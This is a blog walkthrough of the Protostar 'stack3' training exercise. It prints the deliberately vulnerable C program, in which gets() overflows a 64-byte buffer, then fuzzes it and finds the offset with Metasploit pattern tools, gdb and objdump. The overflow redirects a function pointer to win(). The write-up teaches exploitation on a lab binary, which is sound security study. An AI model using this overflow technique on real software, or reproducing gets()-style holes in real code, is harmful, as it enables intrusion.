Protostar - stack3

This is my fourth post on the Protostar series hosted by Exploit Exercises

We start off with understanding what is being asked of us:

About

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
Hints
  • both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3

Source code



#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}




First things first, I log into the system and run the program to get a feel for what is being asked:


$ ls
final0 final1 final2 format0  format1  format2  format3  format4  heap0  heap1  heap2  heap3  net0  net1  net2  net3  net4  stack0  stack1  stack2  stack3  stack4  stack5  stack6  stack7
$ ./stack3
alsjdflkasjldf
$ 

I then start fuzzing:


$ python -c 'print "A" * 100' | ./stack3 
calling function pointer, jumping to 0x41414141
Segmentation fault
$ 

Excellent. We have a segmentation fault. Now, looking back at the code and the hint, we need to find where the win() function is. Additionally, if we can fill our function pointer to win(), we should be able to print the statement within that function.

First, we need to find how many bytes are needed before we call our function pointer. We use pattern_create.rb to generate our 100 character string:


eric@geoda:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
eric@geoda:~$

With our string created, we append it to a file and fuzz:


$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" > /tmp/payload
$ cat /tmp/payload
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
$ cat /tmp/payload | ./stack3
calling function pointer, jumping to 0x63413163
Segmentation fault
$ 

We notice that 0x63413163 is the location of our function pointer. To make sure, let's run through GDB and verify:


$ gdb -q ./stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) run < /tmp/payload
Starting program: /opt/protostar/bin/stack3 < /tmp/payload
calling function pointer, jumping to 0x63413163

Program received signal SIGSEGV, Segmentation fault.
0x63413163 in ?? ()
(gdb) i r
eax            0x63413163 1665216867
ecx            0x0 0
edx            0xb7fd9340 -1208118464
ebx            0xb7fd7ff4 -1208123404
esp            0xbffffc4c 0xbffffc4c
ebp            0xbffffcb8 0xbffffcb8
esi            0x0 0
edi            0x0 0
eip            0x63413163 0x63413163
eflags         0x210296 [ PF AF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) 

Excellent. As expected, we see that EIP has been written with 0x63413163. We take this value to our offset script to find what the bytes are:


eric@geoda:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 63413163
[*] Exact match at offset 64
eric@geoda:~$ 

The offset is 64 bytes. Let's be sure of this and update our payload to push 64 A's, and 4 B's. This should fill EIP with 42424242 which is the hexadecimal value for a capital B:


$ python -c 'print "A" * 64 + "B" * 4' > /tmp/payload
$ cat /tmp/payload | ./stack3
calling function pointer, jumping to 0x42424242
Segmentation fault
$ 

As expected. We have successfully written B 4 times to EIP.

It is now time to find where the win() function is, we can use objdump with the -D flag to disassemble-all while grepping for "win":


$ objdump -D ./stack3 | grep win
08048424 <win>:
$ 

Now, with our address found, let's update our payload and replace the letter B's with this value. Additionally, we will write this in little endian, which will be in reverse order and run the program:


$ cat /tmp/payload | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
$ 

Success! We have jumped locations to a new function within the program that would otherwise never have been hit.

Thanks for reading.

-geoda